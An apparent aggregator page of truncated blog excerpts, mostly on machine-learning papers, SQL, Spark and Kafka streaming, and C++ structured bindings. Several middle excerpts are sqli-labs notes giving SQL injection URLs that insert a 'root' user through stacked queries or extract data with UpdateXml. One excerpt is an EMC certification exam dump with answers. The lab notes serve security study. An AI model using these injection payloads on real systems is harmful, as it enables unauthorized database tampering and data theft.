基于注意力的街景图像提取结构化信息 一种用于真实图像文本提取问题的TensorFlow模型. 该文件夹包含在FSNS数据集数据集上训练新的注意OCR模型所需的代码,以在法国转录街道名称. 您还可以使用它来根据自己的数据进行培训. 更多细节可以在我们的论文中找到: "从街景图像注意为基础提取结构化信息" 项目地址:https://github.com/tensorflow/models/tree/master/attention_ocr Attention-based Extractio…

原文地址:  https://github.com/amir32002/3D_Street_View 说明:个人学习笔记,翻译整理自github/airsim. 简介 该存储库共享包含6DOF相机姿态,8个城市的3D模型和扩展元数据的街景图像(2500万张图像和118万张匹配图像对)的大型数据集. 数据来自一系列匹配的图像; 匹配对的内容显示相同的物理点,而相机视点显示较大的基线(通常> 120度). 该数据集可用于学习6DOF相机姿态估计/视觉测距,图像匹配以及各种3D估计. 您可以从下面的数…

Hierarchical Attention Based Semi-supervised Network Representation Learning 1. 任务 给定:节点信息网络 目标:为每个节点生成一个低维向量   基于半监督的分层关注网络嵌入方法 2. 创新点: 以半监督的方式结合外部信息 1. 提出SHANE 模型,集成节点结构,文本和标签信息,并以半监督的方式学习网络嵌入 2. 使用分层注意网络学习节点的文本特征, 两层双向GRU 提取单词和句子的潜在特征   3. 背景 1. 现…

目录 摘要 一.引言 二.相关工作 基于体素网格的特征学习 直接从非结构化点云中学习特征 从多视图模型中学习特征 几何深度学习的学习特征 三.GAPNet架构 3.1 GAPLayer 局部结构表示 单头GAPLayer 多头机制 3.2注意力池化层 3.3 GAPNet架构 四.实验 4.1分类 数据集 网络结构 训练细节 结果 消融研究 4.2 语义部件分割 数据集 模型结构 训练细节 结果 五.结论 GAPNet: Graph Attention based Point Neural Ne…

目录 Overview Quick Example Programming Model Basic Concepts Handling Event-time and Late Data Fault Tolerance Semantics API using Datasets and DataFrames Creating streaming DataFrames and streaming Datasets Input Sources Schema inference and partition…

[论文标题]Predict and Constrain: Modeling Cardinality in Deep Structured Prediction   (35th-ICML,PMLR) [论文作者]Nataly Brukhim,Amir Globerson [论文链接]Paper (13-pages // Single column) [摘要] 许多机器学习问题需要多维标签的预测.这种结构化预测模型可以从标签之间的依赖关系建模中获益.最近,已有研究提出了几种结构预测的深度学习方法.在…

SQL是Structured Query Language(结构化查询语言)的缩写. SQL是专为数据库而建立的操作命令集,是一种功能齐全的数据库语言. 在使用它时,只需要发出“做什么”的命令,“怎么做”是不用使用者考虑的. SQL功能强大.简单易学.使用方便,已经成为了数据库操作的基础,并且现在几乎所有的数据库均支持SQL. SQL数据库的数据体系结构基本上是三级结构,但使用术语与传统关系模型术语不同. 在SQL中,存储模式(内模式)称为“存储文件”(stored file): 关系模式(模式…

作者:姜虹,刘子煜,王玥瑶,杨安琪,天靖居士 街景图片可以通过api下载,但需要提供参数,参数中的poiid.panoid.location可以用来确定位置或全景图片的ID以确定对应的街景图片.优先级为poiid>panoid>location.为了能够获得一定经纬度范围内的全部街景图片,需要先获取上述三个参数中的至少一个,这里采用arcgis中沿道路等距采点的方法,来对应获得范围内的全部街景图.简而言之,首先获取路网数据,之后沿着路网进行等间距采点,获取大量经纬度点,再根据这些点的坐标获取相…

文献名:Development of a High Coverage Pseudotargeted Lipidomics Method Based on Ultra-High Performance Liquid Chromatography−Mass Spectrometry(基于超高效液相色谱-质谱法的高覆盖拟靶向脂质组学方法的开发) 期刊名:Analytical Chemistry 发表时间:(2018年5月) IF:6.38 单位: 中国科学院大连化学物理研究所 中国科学院大学 生物材料…

Authors: Joong-Tae Park, Jae-Bok Song Department:Department  of  Mechanical  Engineering,  Korea  University,  Anam-ro  145,  Seongbuk-gu,  Seoul,  South  Korea(机械工程系,高丽大学,韩国) Exploration is one of the most important functions for a mobile service ro…

This topic describes how to implement a business class, so that one of its properties is calculated based on a property(ies) of the objects contained in the child object collection. 本主题介绍如何实现 Business 类,以便基于子对象集合中包含的对象的属性计算其属性之一. Tip 提示 A complete sa…

用于Kafka 0.10的结构化流集成从Kafka读取数据并将数据写入到Kafka. 1. Linking 对于使用SBT/Maven项目定义的Scala/Java应用程序,用以下工件artifact连接你的应用程序: 对于Python应用程序,你需要在部署应用程序时添加上面的库及其依赖关系.查看Deploying子节点. 2. Reading Data from Kafka 从Kafka读取数据 2.1 Creating a Kafka Source for Streaming Queries…

结构化绑定声明 结构化绑定声明,是指在一次声明中同时引入多个变量,同时绑定初始化表达式的各个子对象的语法形式. 结构化绑定声明使用auto来声明多个变量,所有变量都必须用中括号括起来. cv-auto+引用 [变量1, 变量2, ... 变量n ] = 初始化表达式; cv-auto+引用 [变量1, 变量2, ... 变量n ] (初始化表达式); cv-auto+引用 [变量1, 变量2, ... 变量n ] {初始化表达式}; // 这里 cv-auto+引用 包含 auto, auto…

接触深度学习以来一直接触的概念都是回归,分类,偶尔接触到结构化学习的概念,似懂非懂的糊弄过去,实在是不负责的表现 翻阅维基百科https://en.wikipedia.org/wiki/Structured_prediction,有些理解了 相比于回归,输出一个标量或者预测,输出一个向量,结构化学习的输出更加复杂,可以是图像,可以是语句,可以是树结构,等等可由更小的组件构成的结构体,我的理解. 目前最火的技术GAN,最多的用处便是生成图像,这就是一个结构化学习的例子,其实像目标检测,语义分割,实…

概念 结构化数据:即行数据,存储在数据库里,可以用二维表结构来逻辑表达实现的数据. 半结构化数据:介于完全结构化数据(如关系型数据库.面向对象数据库中的数据)和完全无结构的数据(如声音.图像文件等)之间的数据,HTML文档就属于半结构化数据.它一般是自描述的,数据的结构和内容混在一起,没有明显的区分. 非结构化数据:不方便用数据库二维逻辑表来表现的数据即称为非结构化数据,包括所有格式的办公文档.文本.图片.XML.HTML.各类报表.图像和音频/视频信息等等.   数据模型 结构化数据:二维表(…

http://192.168.136.128/sqli-labs-master/Less-53/?sort=1';insert into users(id,username,password) value (15,'root','root')%23…

出错被关闭了 http://192.168.136.128/sqli-labs-master/Less-52/?sort=1' http://192.168.136.128/sqli-labs-master/Less-52/?sort=1;insert into 0users(id,username,password) value (15,'root','root')…

less50的字符型版本,闭合好引号就行 http://192.168.136.128/sqli-labs-master/Less-51/?sort=1';insert into users(id,username,password) value (15,'root','root')%23…

报错没有关闭,直接可以用UpdateXml函数 http://192.168.136.128/sqli-labs-master/Less-50/?sort=1 and UpdateXml(1,concat(0x7e,database(),0x7e),1) 用堆叠注入 http://192.168.136.128/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password) value (15,'root','ro…

本博客是针对李宏毅教授在youtube上上传的Machine Learning课程视频的学习笔记.课程链接 目录 引入 线性模型 结构化SVM 给序列贴标签 引入 我们之前学习到的学习模型的输入与输出一直以来都是向量(vector),但是在实际问题中,我们的输入输出可能是别的结构. 比如,我们可能会需要输入输出是序列(sequence).列表(List)或者树(Tree)等等. 例子: 结构学习的统一框架 训练 1.找到一个函数F 2.F(x,y):评估对象x和y有多么匹配 推断(测试) 给定一…

论文地址 Abstract Open-text semantic parsers are designed to interpret any statement in natural language by inferring a corresponding meaning representation (MR – a formal representation of its sense). 开放文本语义分析器被设计为通过推断相应的意义表示(MR -其意义的正式表示)来解释自然语言中的任何语句.…

Emc 考试 e05-001信息存储和管理版本3考试 [总问题:171] 哪种 emc 产品提供软件定义的存储基础架构的自动监视和报告? A. viprSrmB. 斯纳普内C. 阿瓦马尔D. 快速副总裁 答: a 关于虚拟磁带库的准确陈述是什么? A. 传统的备份软件无需额外的模块或更改即可使用B. 物理磁带的可移植性托夫库内支持位置C. 只有用于备份和恢复的顺序数据访问支持D. 需要执行与物理磁带驱动器相关的定期维护任务 答: a 哪种 vmware 产品为软件定义的数据中心提供了网络虚拟化平…

摘要 近年来,深度学习方法在物体跟踪领域有不少成功应用,并逐渐在性能上超越传统方法.本文先对现有基于深度学习的目标跟踪算法进行了分类梳理,后续会分篇对各个算法进行详细描述. 看上方给出的3张图片,它们分别是同一个视频的第1,40,80帧.在第1帧给出一个跑步者的边框(bounding-box)之后,后续的第40帧,80帧,bounding-box依然准确圈出了同一个跑步者.以上展示的其实就是目标跟踪(visual object tracking)的过程.目标跟踪(特指单目标跟踪)是指:给出目标在…

作者:Dafna Shahaf 会议:ACM 2015.    研究大背景:自动化地从很大数据集中提取结构化的知识变得越来越难.在本篇文章中,我们将探索我们在文献中(25,26,27)中创立的方法来自动提取信息的“地铁地图”(metro maps). 问题1: 什么是信息的地铁地图? 这是一个隐喻,信息就像地铁一样用直线表示,每一条线代表着一个故事:多条线可以代表多个故事,也可以代表一个故事从不同的方面来叙述.而每一个停站点,代表着文档集群. 问题2: 一个好的信息地铁图有哪些标准?很难说,但是…

ICLR 2014 International Conference on Learning Representations Apr 14 - 16, 2014, Banff, Canada Workshop Track Submitted Papers Stochastic Gradient Estimate Variance in Contrastive Divergence and Persistent Contrastive Divergence Mathias Berglund, Ta…

[论文翻译]NIN层论文中英对照翻译--(Network In Network) [开始时间]2018.09.27 [完成时间]2018.10.03 [论文翻译]NIN层论文中英对照翻译--(Network In Network) [中文译名] 网络中的网络 [论文链接]https://arxiv.org/abs/1312.4400 [补充] 1)NIN结构的caffe实现: 因为我们可以把全连接层当作为特殊的卷积层,所以呢, NIN在caffe中是非常 容易实现的: https://githu…

apache基金会开源项目简介   项目名称 描述 HTTP Server 互联网上首屈一指的HTTP服务器 Abdera Apache  Abdera项目的目标是建立一个功能完备,高效能的IETF Atom联合格式(RFC4287)和Atom发布协议(RFC5023)规范的实现. Accumulo Apache  Accumulo 是一个可靠的.可伸缩的.高性能的排序分布式的 Key-Value 存储解决方案,基于单元访问控制以及可定制的服务器端处理.使用  Google BigTable 设…

In the last chapter we learned that deep neural networks are often much harder to train than shallow neural networks. That's unfortunate, since we have good reason to believe that if we could train deep nets they'd be much more powerful than shallow…

Awesome-Pytorch-list 2018-08-10 09:25:16 This blog is copied from: https://github.com/Epsilon-Lee/Awesome-pytorch-list Pytorch & related libraries pytorch : Tensors and Dynamic neural networks in Python with strong GPU acceleration. pytorch extras :…

Deep Learning 方向的部分 Paper ,自用.一 RNN 1 Recurrent neural network based language model RNN用在语言模型上的开山之作 2 Statistical Language Models Based on Neural Networks Mikolov的博士论文,主要将他在RNN用在语言模型上的工作进行串联 3 Extensions of Recurrent Neural Network Language Model 开山之…